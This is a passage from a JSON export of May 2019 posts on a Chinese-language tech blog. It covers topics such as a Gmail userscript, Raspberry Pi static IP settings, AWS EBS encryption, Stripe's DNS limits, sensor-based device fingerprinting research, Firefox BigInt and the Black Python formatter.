    "body": "前一篇「<a href=\"https://blog.gslin.org/archives/2019/05/14/8985/%E5%9C%A8-gmail-%E8%A3%A1%E9%9D%A2%E5%B1%95%E9%96%8B-github-%E4%BF%A1%E4%BB%B6%E9%80%A3%E7%B5%90%E7%9A%84-userscript/\">在 Gmail 裡面展開 GitHub 信件連結的 Userscript</a>」是展開 <a href=\"https://github.com/\">GitHub</a> 的連結，但這個套件是用<code>document.querySelectorAll()</code> 抓出來，裡面寫死了不少東西...\r\n\r\n用了幾天後我還是只想開 commit 相關的連結 (用 regex 表示的話就是 <code>^https://github\\.com/[^/]+/[^/]+/commit/</code>)，所以就找看看 <a href=\"https://www.tampermonkey.net/\">Tampermonkey</a> 能不能有 Config Page 或是 Option Page 可以讓使用者設定，結果發現本身沒支援：「<a href=\"https://stackoverflow.com/questions/14594346/create-a-config-or-options-page-for-a-greasemonkey-script\">Create a “config” or “options” page for a Greasemonkey script</a>」。\r\n\r\n但回覆裡面有提供一些方案可以用，我後來選了 <a href=\"https://github.com/odyniec/MonkeyConfig\">MonkeyConfig</a>，至少可以讓使用者設定 regex...\r\n\r\n新的 Userscript 放在「<a href=\"https://github.com/gslin/open-links-in-gmail\">open-links-in-gmail</a>」這邊。",
    "title": "用 Userscript 在 Gmail 裡面展開連結"
  },
  {
    "id": "8987",
    "body": "從 <a href=\"https://www.facebook.com/\">Facebook</a> 的各種醜聞知道招募變難 (而且醜聞沒停過)，但變得多困難則是第一次看到報導：「<a href=\"https://www.cnbc.com/2019/05/16/facebook-has-struggled-to-recruit-since-cambridge-analytica-scandal.html\">Facebook has struggled to hire talent since the Cambridge Analytica scandal, according to recruiters who worked there</a>」。\r\n\r\n新鮮人的接受從 85% 掉到 35%～55%，依據不同的學校而有差異：\r\n\r\n<blockquote>Among top schools, Facebook’s acceptance rate for full-time positions offered to new graduates has fallen from an average of 85% for the 2017-2018 school year to between 35% and 55% as of December.</blockquote>\r\n\r\n<blockquote>Among top schools, such as Stanford, Carnegie Mellon and Ivy League universities, Facebook’s acceptance rate for full-time positions offered to new graduates has fallen from an average of 85% for the 2017-2018 school year to between 35% and 55% as of December, according to former Facebook recruiters. The biggest decline came from Carnegie Mellon University, where the acceptance rate for new recruits dropped to 35%.</blockquote>\r\n\r\n工程師則是從 90% 掉到 50%：\r\n\r\n<blockquote>The company has seen a decline in its job offer acceptance rates to software engineer candidates from nearly 90% in late 2016 to almost 50% in early 2019.</blockquote>\r\n\r\nFacebook 發言人 Anthony Harrison 否認，不過沒有給出說明：\r\n\r\n<blockquote>After the publication of this story, Harrison contacted CNBC to say \"these numbers are totally wrong.\"</blockquote>\r\n\r\n<blockquote>Facebook disputed the accuracy of the recruiters' accounts, but declined to point out any specific points that were wrong.</blockquote>\r\n\r\n<a href=\"http://news.ycombinator.com/\">Hacker News</a> 上的討論也蠻有趣的：「<a href=\"http://news.ycombinator.com/item?id=19931977\">https://news.ycombinator.com/item?id=19931977</a>」，有不少其他的觀察。",
    "title": "Facebook 的招募狀況"
  },
  {
    "id": "8989",
    "body": "家裡本來是用 <a href=\"https://www.raspberrypi.org/\">Raspberry Pi</a> (第一代) 跑 <a href=\"https://oss.oetiker.ch/smokeping/\">SmokePing</a> 觀察有線電視提供的網路 (看品質狀況)，但前陣子 SD card 掛掉了... 只好網路上找一張新的 SD card 重新裝一套系統。\r\n\r\n在拿到卡後去 Raspberry Pi 的官網上下載最新版的 <a href=\"https://en.wikipedia.org/wiki/Raspbian\">Raspbian</a>，發現版本變新後，裡面有不少東西不一樣了 :o\r\n\r\n固定 IP address 以前都是改 <code>/etc/network/interfaces</code>，但裡面可以看到還蠻有趣的警告，我就是要設定 Static IP：\r\n\r\n<pre># Please note that this file is written to be used with dhcpcd\r\n# For static IP, consult /etc/dhcpcd.conf and 'man dhcpcd.conf'</pre>\r\n\r\n這邊說明了如果要設定固定 IP 的話不要改這個檔案，而是修改 <code>/etc/dhcpcd.conf</code> 讓 <a href=\"https://roy.marples.name/projects/dhcpcd\">dhcpcd</a> 處理。\r\n\r\n打開以後依樣畫葫蘆，加了一段進去後重開機應該就可以用了：\r\n\r\n<pre>interface eth0\r\nstatic ip_address=192.168.2.1/24\r\nstatic routers=192.168.2.254\r\nstatic domain_name_servers=192.168.2.254</pre>\r\n\r\n繼續處理後續的設定...",
    "title": "在 Raspberry Pi 上面設定 Fixed IP (Static IP)"
  },
  {
    "id": "8990",
    "body": "看到「<a href=\"https://github.com/stewartmcgown/uds\">UDS : Unlimited Drive Storage</a>」這個專案，利用 <a href=\"https://docs.google.com/\">Google Docs</a> 存放資料。主要的原因是因為 Google Docs 不計入 <a href=\"https://drive.google.com/\">Google Drive</a> 所使用的空間：\r\n\r\n<blockquote>Google Docs take up 0 bytes of quota in your Google Drive</blockquote>\r\n\r\n用這個方法可以存放不少大檔案 (像是各種 ISO image)，讓人想起當年 Love Machine 的玩法 (不知道的人可以參考「<a href=\"http://easylearn.bhes.ntpc.edu.tw/high/lovema_intr.htm\">愛的機器 Love machine</a>」這篇)，切割檔案後傳到某些空間以提供下載？只是這邊是用 base64 放到 Google Docs 上...\r\n\r\nbase64 的資料會比原始資料大 33%，而 Google Docs 單篇的上限大約是 710KB：\r\n\r\n<blockquote>Size of the encoded file is always larger than the original. Base64 encodes binary data to a ratio of about 4:3.</blockquote>\r\n\r\n<blockquote>A single google doc can store about a million characters. This is around 710KB of base64 encoded data.</blockquote>\r\n\r\n方法不是太新鮮，但是讓人頗懷念的... XD",
    "title": "用 Google Docs 惡搞的方式..."
  },
  {
    "id": "8992",
    "body": "<a href=\"https://www.elastic.co/products/elasticsearch\">Elasticsearch</a> 決定將基本的安全功能從付費功能轉為免費釋出，很明顯的是受到 <a href=\"https://opendistro.github.io/for-elasticsearch/\">Open Distro for Elasticsearch</a> 的壓力而做出的改變：「<a href=\"https://www.elastic.co/blog/security-for-elasticsearch-is-now-free\">Security for Elasticsearch is now free</a>」。\r\n\r\n要注意的是這不是 open source 版本，只是將這些功能放到 basic tier 裡讓使用者免費使用：\r\n\r\n<blockquote>Previously, these core security features required a paid Gold subscription. Now they are free as a part of the Basic tier. Note that our advanced security features — from single sign-on and Active Directory/LDAP authentication to field- and document-level security — remain paid features.</blockquote>\r\n\r\n這代表 Open Distro for Elasticsearch 提供的還是比較多：\r\n\r\n<blockquote>With Open Distro for Elasticsearch, you can leverage your existing authentication infrastructure such as LDAP/Active Directory, SAML, Kerberos, JSON web tokens, TLS certificates, and Proxy authentication/SSO for user authentication. An internal user repository with support for basic HTTP authentication is also avaliable for easy setup and evaluation.</blockquote>\r\n\r\n<blockquote>Granular, role-based access control enables you to control the actions a user can perform on your Elasticsearch cluster. Roles control cluster operations, access to indices, and even the fields and documents users can access. Open Distro for Elasticsearch also supports multi-tenant environments, allowing multiple teams to share the same cluster while only being able to access their team's data and dashboards.</blockquote>\r\n\r\n目前看起來還是可以朝 Open Distro for Elasticsearch 靠過去...",
    "title": "Elasticsearch 提供免費版本的安全功能"
  },
  {
    "id": "8993",
    "body": "在「<a href=\"https://www.extremetech.com/computing/291649-intel-performance-amd-spectre-meltdown-mds-patches\">Intel Performance Hit 5x Harder Than AMD After Spectre, Meltdown Patches</a>」這邊看到的測試：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/gmbJxw8.webp\" /><img src=\"https://i.gslin.com/imgur/gmbJxw8.jpg\" alt=\"\" /></picture>\r\n\r\n把現有的安全性更新都開啟後，<a href=\"https://www.intel.com/\">Intel</a> CPU 的效能掉了 20% 左右 (在 Intel 上需要把 HT 關掉)：\r\n\r\n<blockquote>While the impacts vary tremendously from virtually nothing too significant on an application-by-application level, the collective whack is ~15-16 percent on all Intel CPUs without Hyper-Threading disabled. Disabling increases the overall performance impact to 20 percent (for the 7980XE), 24.8 percent (8700K) and 20.5 percent (6800K).</blockquote>\r\n\r\n<blockquote>The AMD CPUs are not tested with HT disabled, because disabling SMT isn’t a required fix for the situation on AMD chips, but the cumulative impact of the decline is much smaller. AMD loses ~3 percent with all fixes enabled</blockquote>\r\n\r\n可以注意到兩家目前桌機的頂規在上了安全性更新後，<a href=\"https://www.amd.com/\">AMD</a> 的 2990WX 比 Intel 的 7980XE 快了一些些... 當初擠牙膏擠出來的都吐回去了，不知道之後出的 security issue 還需要再吐多少回去。",
    "title": "在一連串的安全更新後，AMD 的 CPU 比 Intel 快了..."
  },
  {
    "id": "8996",
    "body": "用 <a href=\"https://www.rust-lang.org/\">Rust</a> 開發的 memory profiler，可以抓 memory leaking 與 memory fragmentation，然後宣稱效能影響也比較低：「<a href=\"https://github.com/nokia/memory-profiler\">A memory profiler for Linux</a>」，有提供網頁界面，還蠻美觀的：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/DgZzVi9.webp\" /><img src=\"https://i.gslin.com/imgur/DgZzVi9.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/vTCzVcD.webp\" /><img src=\"https://i.gslin.com/imgur/vTCzVcD.jpg\" alt=\"\" /></picture>\r\n\r\n給的範例有兩行，一行是跑 profiler：\r\n\r\n<pre>LD_PRELOAD=./libmemory_profiler.so ./your_application</pre>\r\n\r\n另外一行是讀資料給 HTTP server：\r\n\r\n<pre>./memory-profiler-cli server memory-profiling_*.dat</pre>\r\n\r\n之後有機會抓漏時可以拿來用看看...",
    "title": "Nokia 釋出的 Memory Profiler"
  },
  {
    "id": "8997",
    "body": "「<a href=\"https://ohshitgit.com/\">Oh shit, git!</a>」這個站台列出了常見的 <a href=\"https://git-scm.com/\">Git</a> 問題與可能的解法，不過我最愛最後一個，看起來很萬用的砍掉重練：\r\n\r\n<pre>cd ..\r\nsudo rm -r fucking-git-repo-dir\r\ngit clone https://some.github.url/fucking-git-repo-dir.git\r\ncd fucking-git-repo-dir</pre>\r\n\r\n雖然最後這個方法有種惡搞感，不過裡面其他提到的問題其實都還蠻常見的，包括了修改最新一個 commit 的 commit log，或是想要再多加一些東西到最新的 commit 上，以及 commit 錯 branch 後要怎麼處理。",
    "title": "「Oh shit, git!」：常見的 Git 操作問題"
  },
  {
    "id": "8998",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=19981869\">Show HN: Scar – Static websites with HTTPS, a global CDN, and custom domains (github.com)</a>」這篇，除了文章連結外，留言提到了不少工具...\r\n\r\n一種是透過 <a href=\"https://pages.github.com/\">GitHub Pages</a> 的方式提供服務，或是透過 <a href=\"https://www.netlify.com/\">Netlify</a>，需求真的需要動到 <a href=\"https://aws.amazon.com/\">AWS</a> 元件的情況其實還是考慮用傳統一點的架構 (<a href=\"https://aws.amazon.com/ec2/\">EC2</a> 或是 VPS) 會更有彈性。\r\n\r\n算是提出一個雞肋後，其他人把真正有用的工具整理了出來...",
    "title": "靜態網頁服務的選擇"
  },
  {
    "id": "8999",
    "body": "看到「<a href=\"https://www.schneier.com/blog/archives/2019/05/fingerprinting_7.html\">Fingerprinting iPhones</a>」這篇提出的攻擊，標題雖然是提到 <a href=\"https://www.apple.com/iphone/\">iPhone</a>，但實際上攻擊包括了 <a href=\"https://www.android.com/\">Android</a> 的手機：\r\n\r\n<blockquote>You are affected by this fingerprinting attack if you are using any iOS devices with the iOS version below 12.2, including the latest iPhone XS, iPhone XS Max, and iPhone XR. You are also likely to be affected if you are using a Pixel 2/3 device, although we hypothesise the generated fingerprint has less entropy and is unlikely to be globally unique. A SensorID can be generated by both apps and mobile websites and requires no user interaction.</blockquote>\r\n\r\n目前 iPhone 升級到 12.2 之後可以緩解這個問題，Android 看起來還不清楚...\r\n\r\n攻擊的方式是透過手機在出場前會使用外部的校正工具，找出手機內 sensor 所偵測到的值與實際值的差異，然後把這些資訊燒到韌體裡，當呼叫 API 時就可以修正給出比較正確的值。\r\n\r\n而因為這些校正資訊幾乎每一隻手機都不一樣，而且不會因為重裝而變更 (即使 factory reset)，加上還可以跨 app 與 web 追蹤，就成為這次攻擊的目標：\r\n\r\n<blockquote>In the context of mobile devices, the main benefit of per-device calibration is that it allows more accurate attitude estimation.</blockquote>\r\n\r\n資訊量其實相當大，透過 app 分析可以得到 67 bits entropy，透過網頁也有 42 bits entropy，而且不怎麼會變：\r\n\r\n<blockquote>In general, it is difficult to create a unique fingerprint for iOS devices due to strict sandboxing and device homogeneity. However, we demonstrated that our approach can produce globally unique fingerprints for iOS devices from an installed app -- around 67 bits of entropy for the iPhone 6S. Calibration fingerprints generated by a website are less unique (~42 bits of entropy for the iPhone 6S), but they are orthogonal to existing fingerprinting techniques and together they are likely to form a globally unique fingerprint for iOS devices.</blockquote>\r\n\r\n<blockquote>We have not observed any change in the SensorID of our test devices in the past half year. Our dataset includes devices running iOS 9/10/11/12. We have tested compass calibration, factory reset, and updating iOS (up until iOS 12.1); the SensorID always stays the same. We have also tried measuring the sensor data at different locations and under different temperatures; we confirm that these factors do not change the SensorID either.</blockquote>\r\n\r\n目前提出來的解法是加入隨機值的噪音 (iOS 的作法)，不過作者有建議預設應該要關閉 js 存取 sensor 的權限：\r\n\r\n<blockquote>To mitigate this calibration fingerprint attack, vendors can add uniformly distributed random noise to ADC outputs before calibration is applied. Alternatively, vendors could round the sensor outputs to the nearest multiple of the nominal gain. Please refer to our paper for more details. In addition, we recommend privacy-focused mobile browsers add an option to disable the access to motion sensors via JavaScript. This could help protect Android devices and iOS devices that no longer receive updates from Apple.</blockquote>\r\n\r\n不過當初這群人怎麼會注意到的...",
    "title": "利用 S\bensor 校正資訊產生 Device Fingerprint 的隱私攻擊"
  },
  {
    "id": "9000",
    "body": "<a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 實作了 <a href=\"https://tc39.github.io/proposal-bigint/\">BigInt</a> (進度可以在「<a href=\"https://bugzilla.mozilla.org/show_bug.cgi?id=1366287\">Implementation of BigInt values for SpiderMonkey</a>」這邊看到)：「<a href=\"https://wingolog.org/archives/2019/05/23/bigint-shipping-in-firefox\">bigint shipping in firefox!</a>」，現在可以在 68 beta 版裡使用：\r\n\r\n<blockquote>I am delighted to share with folks the results of a project I have been helping out on for the last few months: implementation of \"BigInt\" in Firefox, which is finally shipping in Firefox 68 (beta).</blockquote>\r\n\r\n另外文中也提到了其他瀏覽器的情況 (再 <a href=\"https://caniuse.com/\">Can I Use</a> 也可以看到「<a href=\"https://caniuse.com/#feat=bigint\">BigInt</a>」目前的支援情況)，用 V8 engine 的都已經支援 (包括 <a href=\"https://www.google.com/chrome/\">Chrome</a> 與新版的 <a href=\"https://en.wikipedia.org/wiki/Microsoft_Edge\">Edge</a>)，而 <a href=\"https://www.apple.com/safari/\">Safari</a> 也在實作中：\r\n\r\n<blockquote>BigInt is also shipping already in V8 and Chrome, and my colleague Caio Lima has an project in progress to implement it in JavaScriptCore / WebKit / Safari. Depending on your target audience, BigInt might be deployable already!</blockquote>\r\n\r\n另外一個有趣的事情是 license，其中馬上可以想到的是 <a href=\"https://gmplib.org/\">GMP</a>，裡面牽扯到 <a href=\"https://en.wikipedia.org/wiki/LGPLv3\">LGPLv3</a> 與 <a href=\"https://en.wikipedia.org/wiki/GPLv2\">GPLv2</a> 的授權問題：\r\n\r\n<blockquote>Since version 6, GMP is distributed under the dual licenses, GNU LGPL v3 and GNU GPL v2. These licenses make the library free to use, share, and improve, and allow you to pass on the result. The GNU licenses give freedoms, but also set firm restrictions on the use with non-free programs.</blockquote>\r\n\r\n從說明有提到一些目標，短期可能會用 GMP 以儘快時做出合理的效能版本，長期則是希望用自己的版本：\r\n\r\n<blockquote>An important design question is whether to implement the arithmetic operators as native or self-hosted intrinsics, probably using an external library such as GMP in the former case. Using an existing library has the advantage of providing good performance for less initial effort, but a self-hosted library also has advantages, such as greater flexibility in representation, better compiler integration, and simpler integration with the rest of the JS runtime (GC, etc.).</blockquote>\r\n\r\n2018 年一月的討論有提到有一包 patch 是使用 GMP 的版本，這樣看起來應該是有解決 license 上的問題...\r\n\r\n<blockquote>The current version of the patch uses libgmp for BigInt arithmetic, supports most features from the current proposal, and passes all up-to-date test262 tests for BigInt. Direct compiler support for BigInt has been removed; instead, compilation should fail if a possible BigInt value is encountered.</blockquote>\r\n\r\n後續的描述裡面也都有提到 GMP 相關的事情，應該是沒錯...",
    "title": "Firefox 引入 BigInt，Safari 也在實作..."
  },
  {
    "id": "9001",
    "body": "前幾天看到的：「<a href=\"https://www.caseyliss.com/2019/5/22/vignette\">Announcing Vignette</a>」，透過 social network 的資料，把本來電話簿裡面的 icon 更新：\r\n\r\n<img src=\"https://i.gslin.com/imgur/ApnWouN.jpg\" alt=\"\" />\r\n\r\n透過 app store 的搜尋找不太到，我一開始用了「Vignette」搜不到，但用「Vignette Update」就可以。或者你可以透過他提供的連結直接開 app store：「<a href=\"https://itunes.apple.com/us/app/vignette-update-contact-pics/id1455924925\">Vignette – Update Contact Pics</a>」。\r\n\r\n這是一個 IAP 類的付費服務，搜尋是免費的，但如果要把資料更新回通訊錄，需要付 USD$4.99 (一次性)，台灣帳號是付 TWD$170，應該是因為最近的稅務調整：\r\n\r\n<blockquote>Vignette allows you to scan your contacts and see what it can find for free. If you wish to actually save these updates to your contact list, you must pay for a one-time in-app purchase. That purchase costs $4.99, is not a subscription, and is the only in-app purchase.</blockquote>\r\n\r\n搜尋的範圍包括了 <a href=\"https://gravatar.com/\">Gravatar</a>、<a href=\"https://twitter.com/\">Twitter</a>、<a href=\"https://www.facebook.com/\">Facebook</a> 與 <a href=\"https://www.instagram.com/\">Instagram</a>：\r\n\r\n<blockquote>Email is used for Gravatar\r\nTwitter\r\nFacebook\r\nA custom network called Instagram</blockquote>\r\n\r\n另外作者有提到這個 app 不傳資料到伺服器上，都是在自己的裝置上連到上面提到的 social network 尋找：\r\n\r\n<blockquote>Privacy is paramount\r\nAll the processing is done on-device; this isn’t the sort of app where your contacts are uploaded en masse to some server, and out of your control.</blockquote>\r\n\r\n所以速度不會太快，但對隱私比較好...",
    "title": "幫你的 iPhone 電話簿找到對應的頭像"
  },
  {
    "id": "9002",
    "body": "針對分析在 <a href=\"https://en.wikipedia.org/wiki/Great_Firewall\">GFW</a> 牆內的情況，看到「<a href=\"https://gfwaas.github.io/\">GFWaaS - GFW as a Service</a>」這樣的服務出現了，依據價位提供兩個不同等級的功能：\r\n\r\n<ul>\r\n\t<li>$49/month 是 HAR Logs + Screencasts</li>\r\n\t<li>$199/month 則是再加上 Browser VNC</li>\r\n</ul>\r\n\r\n對於人不在中國，但需要照顧中國市場的開發團隊應該會有些幫助？",
    "title": "測試 GFW 變成一個服務了..."
  },
  {
    "id": "9007",
    "body": "因為在記憶體內會有各種敏感資訊，所以 <a href=\"https://aws.amazon.com/ec2/\">EC2</a> 的 Hibernation 當初推出時要求在寫到 snapshot 時要有加密，而 EC2 的設計需要使用 encrypted AMI 啟動，才能產生 encrypted snapshot：\r\n\r\n<blockquote>Hibernation requires an EC2 instance be an encrypted EBS-backed instance. This ensures protection of sensitive contents in memory (RAM) as they get copied to the EBS upon hibernation.</blockquote>\r\n\r\n這點對一般人來說就比較麻煩了，因為 AMI 裡面可能沒有敏感資訊，所以當初都是設計成 unencrypted 狀態，變成要多一些步驟...\r\n\r\n而現在 EC2 宣佈可以可以用一般的 AMI 啟動並且產生出加密的 snapshot：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2019/05/enable-hibernation-on-ec2-instances-when-launching-with-an-ami-without-an-encrypted-ebs-snapshot/\">Enable Hibernation on EC2 Instances when launching with an AMI without an Encrypted EBS Snapshot</a>」。\r\n\r\n這樣一來省掉不少前置作業...",
    "title": "EC2 簡化了 Hibernation 的需求"
  },
  {
    "id": "9008",
    "body": "<a href=\"https://aws.amazon.com/ebs/\">EBS</a> 有選項可以預設開加密了：「<a href=\"https://aws.amazon.com/blogs/aws/new-opt-in-to-default-encryption-for-new-ebs-volumes/\">New – Opt-in to Default Encryption for New EBS Volumes</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Ma86AuB.webp\" /><img src=\"https://i.gslin.com/imgur/Ma86AuB.jpg\" alt=\"\" /></picture>\r\n\r\n不算太意外的，這個選項要一區一區開：\r\n\r\n<blockquote>Per-Region – As noted above, you can opt-in to default encryption on a region-by-region basis.</blockquote>\r\n\r\n也不太意外的，無法完全公開共用：\r\n\r\n<blockquote>AMI Sharing – As I noted above, we recently gave you the ability to share encrypted AMIs with other AWS accounts. However, you cannot share them publicly, and you should use a separate account to create community AMIs, Marketplace AMIs, and public snapshots. To learn more, read How to Share Encrypted AMIs Across Accounts to Launch Encrypted EC2 Instances.</blockquote>\r\n\r\n然後有些服務有自己的 EBS 設定，這次不受影響。而有些底層其實是用 <a href=\"https://aws.amazon.com/ec2/\">EC2</a> 的服務 (然後開 EBS) 就會直接套用了：\r\n\r\n<blockquote>Other AWS Services – AWS services such as Amazon Relational Database Service (RDS) and Amazon WorkSpaces that use EBS for storage perform their own encryption and key management and are not affected by this launch. Services such as Amazon EMR that create volumes within your account will automatically respect the encryption setting, and will use encrypted volumes if the always-encrypt feature is enabled.</blockquote>",
    "title": "Amazon EBS 的預設加密機制"
  },
  {
    "id": "9010",
    "body": "當量夠大就會遇到各種限制...\r\n\r\n這次 <a href=\"https://stripe.com/\">Stripe</a> 在描述 trouble shooting 的過程：「<a href=\"https://stripe.com/blog/secret-life-of-dns\">The secret life of DNS packets: investigating complex networks</a>」。\r\n\r\n其中一個頗有趣的架構是他們在每台主機上都有跑 <a href=\"https://unbound.net/\">Unbound</a>，然後導去中央的 DNS Resolver，再決定導去 <a href=\"https://www.consul.io/\">Consul</a> 或是 <a href=\"https://aws.amazon.com/\">AWS</a> 的 DNS Resolver：\r\n\r\n<blockquote>Unbound runs locally on every host as well as on the DNS servers.</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/eq4s3pi.webp\" /><img src=\"https://i.gslin.com/imgur/eq4s3pi.jpg\" alt=\"\" /></picture>\r\n\r\n然後他們發現偶而會有大量的 <code>SERVFAIL</code>：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/oxoVcqk.webp\" /><img src=\"https://i.gslin.com/imgur/oxoVcqk.jpg\" alt=\"\" /></picture>\r\n\r\n接下來就是各種找問題的過程 (像是用 <a href=\"https://en.wikipedia.org/wiki/Tcpdump\">tcpdump</a> 看情況，然後用 <a href=\"https://en.wikipedia.org/wiki/Iptables\">iptables</a> 統計一些數字)，最後發現是卡在 AWS 的 DNS Resolver 在 60 秒內只回應了 61,385 packets，換算差不多是 1,023 packets/sec，這數字看起來就很雷：\r\n\r\n<blockquote>During one of the 60-second collection periods the DNS server sent 257,430 packets to the VPC resolver. The VPC resolver replied back with only 61,385 packets, which averages to 1,023 packets per second. We realized we may be hitting the AWS limit for how much traffic can be sent to a VPC resolver, which is 1,024 packets per second per interface. Our next step was to establish better visibility in our cluster to validate our hypothesis.</blockquote>\r\n\r\n在官方文件「<a href=\"https://docs.aws.amazon.com/vpc/latest/userguide/vpc-dns.html\">Using DNS with Your VPC</a>」這邊看到對應的說明：\r\n\r\n<blockquote>Each Amazon EC2 instance limits the number of packets that can be sent to the Amazon-provided DNS server to a maximum of 1024 packets per second per network interface. This limit cannot be increased. The number of DNS queries per second supported by the Amazon-provided DNS server varies by the type of query, the size of response, and the protocol in use. For more information and recommendations for a scalable DNS architecture, see the Hybrid Cloud DNS Solutions for Amazon VPC whitepaper.</blockquote>\r\n\r\niptables 看到的量則是：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/2LNojGq.webp\" /><img src=\"https://i.gslin.com/imgur/2LNojGq.jpg\" alt=\"\" /></picture>\r\n\r\n找到問題後，後面就是要找方法解決了... 他們給了一個只能算是不會有什麼副作用的 workaround，不過也的確想不到太好的解法。\r\n\r\n因為是查詢 <code>10.0.0.0/8</code> 網段反解產生大量的查詢，所以就在各 server 上的 Unbound 上指定這個網段直接問 AWS 的 DNS Resolver，不需要往中央的 DNS Resolver 問，這樣在這個場景就不會遇到 1024 packets/sec 問題了 XDDD",
    "title": "Stripe 遇到 AWS 上 DNS Resolver 的限制"
  },
  {
    "id": "9011",
    "body": "<a href=\"https://github.com/\">GitHub</a> 推出了 <a href=\"https://github.com/sponsors\">GitHub Sponsors</a>，贊助或是資助的機制，重點都不在首頁上，而是在 FAQ 頁上...\r\n\r\n從「<a href=\"https://help.github.com/en/articles/about-github-sponsors\">Sponsoring a developer</a>」這頁可以看到有月費機制：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/mWjKKmZ.webp\" /><img src=\"https://i.gslin.com/imgur/mWjKKmZ.jpg\" alt=\"\" /></picture>\r\n\r\n有人提到 <a href=\"https://www.twitch.tv/\">Twitch</a>，不過我覺得更像 <a href=\"https://www.patreon.com/\">Patreon</a>，本來用 Patreon 的人應該會很有興趣？不過也有人覺得還是不太一樣：「<a href=\"https://nadiaeghbal.com/github-sponsors\">The Twitch argument for GitHub Sponsors</a>」。\r\n\r\n等 General Availability 後看看吧？",
    "title": "GitHub 推出了 GitHub Sponsors"
  },
  {
    "id": "9012",
    "body": "<a href=\"https://github.com/python/black\">Black</a> 是一套 <a href=\"https://www.python.org/\">Python</a> 上的 Code Formatter，可以幫你重排程式碼以符合 coding style 與 coding standard，比起只是告訴你哪邊有錯來的更進階...\r\n\r\n記得以前好像不是掛在官方帳號下面的，翻了一下發現在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的「<a href=\"https://news.ycombinator.com/item?id=17151813\">https://news.ycombinator.com/item?id=17151813</a>」這則可以看到，去年在 ambv 的 repository 上，現在則是被導到 python 的組織下了 :o\r\n\r\n目前還是掛 beta，另外有不少 practice 讓人不太舒服，像是 Hacker News 上「<a href=\"https://news.ycombinator.com/item?id=19939806\">https://news.ycombinator.com/item?id=19939806</a>」這邊提到的：\r\n\r\n<pre>Against my better judgment I'll bite.\r\nI super dislike black's formatting, and I think it's really rare to actually see it in codebases. It wraps weirdly (sometimes not at all). I'd prefer to use yapf, but last I checked it still crashes on \"f-strings\".\r\n\r\nHere's a small example:\r\n\r\n    basket.add({\r\n        apple.stem\r\n        for satchel in satchels\r\n        for apple in satchel\r\n    })\r\nBlack formats this as:\r\n    basket.add(\r\n        {\r\n            apple.stem\r\n            for satchel in satchels\r\n            for apple in satchel\r\n        }\r\n    )\r\n        \r\nI've never seen Python code like that.\r\nI totally believe using a formatter is good practice. Black is in a challenging position of coming into a community with a lot of existing code and customs, and I get that. But I also think that's an opportunity, rather than having to guess at what is good, there's a wealth of prior art to look at. I wish it had done this, rather than essentially codify the author's style.</pre>\r\n\r\n看起來還有很多可以調整的，然後也可以考慮用看看... 以前是 3rd-party 還可以丟著不管，現在帶有官方色彩得看一下 :o",
    "title": "Python 的 code formatter：Black"
  },
  {
    "id": "9014",
    "body": "看到「<a href=\"https://arp242.net/jquery.html\">Why I'm still using jQuery in 2019</a>」這篇，裡面提到了 <a href=\"https://jquery.com/\">jQuery</a> 很多操作上相較於 vanilla javascript 簡單很多，其中一個例子提到了 DOM 操作的 <code>insertAdjacentElement()</code>：\r\n\r\n<blockquote><code>el.insertAdjacentElement('afterend', other)</code> undoubtedly works, but <code>$(el).after(other)</code> is actually palatable.</blockquote>\r\n\r\n其實我不知道 <code>insertAdjacentElement()</code> 這個功能，我知道的操作都是透過 <code>parentElement</code>、<code>firstChild</code> 在移動位置，然後用 <code>appendChild()</code> 與 <code>insertBefore()</code> 放進去。\r\n\r\n跑去 <a href=\"https://developer.mozilla.org/\">MDN</a> 上查了「<a href=\"https://developer.mozilla.org/en-US/docs/Web/API/Element/insertAdjacentElement\">Element.insertAdjacentElement() - Web APIs | MDN</a>」後才發現有這個好用的東西：\r\n\r\n<pre>targetElement.insertAdjacentElement(position, element);</pre>\r\n\r\n<code>position</code> 的四個變化減少了以前組積木組多了會頭暈的情況。\r\n\r\n接下來是研究支援度的問題，才發現可能是因為 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 一直到 48 才支援 (從「<a href=\"https://en.wikipedia.org/wiki/Firefox_version_history\">Firefox version history</a>」可以看到 48 是 2016 年八月釋出)，所以網路上大多數的文章都還是用組積木的方式在介紹 DOM 操作，以避免相容性的問題：\r\n\r\n<blockquote>Firefox 48 was released on August 2, 2016 for both desktop and Android.</blockquote>\r\n\r\n另外還看到 <code>insert​Adjacent​HTML()</code> 與 <code>insert​Adjacent​Text()</code> 可以用，其中讓我注意到 MDN 上面提到 <code>insert​Adjacent​HTML()</code> 居然是 Firefox 8+？本來以為是 48+ 的誤植，但從 <a href=\"https://www.mozilla.org/\">Mozilla</a> 的記錄「<a href=\"https://bugzilla.mozilla.org/show_bug.cgi?id=613662\">Implement insertAdjacentHTML</a>」這邊可以看到，應該是在 Firefox 8 的時候實作的，這樣的話可以當作 <code>insertAdjacentElement()</code> 的替代品 (如果考慮到古早的相容性)，只是這邊需要輸入 html string，跟其他操作是是用 element 不太一致...\r\n\r\n意外的學到不少歷史故事... @_@",
    "title": "在 DOM 操作時的 insertAdjacentElement"
  },
  {
    "id": "9019",
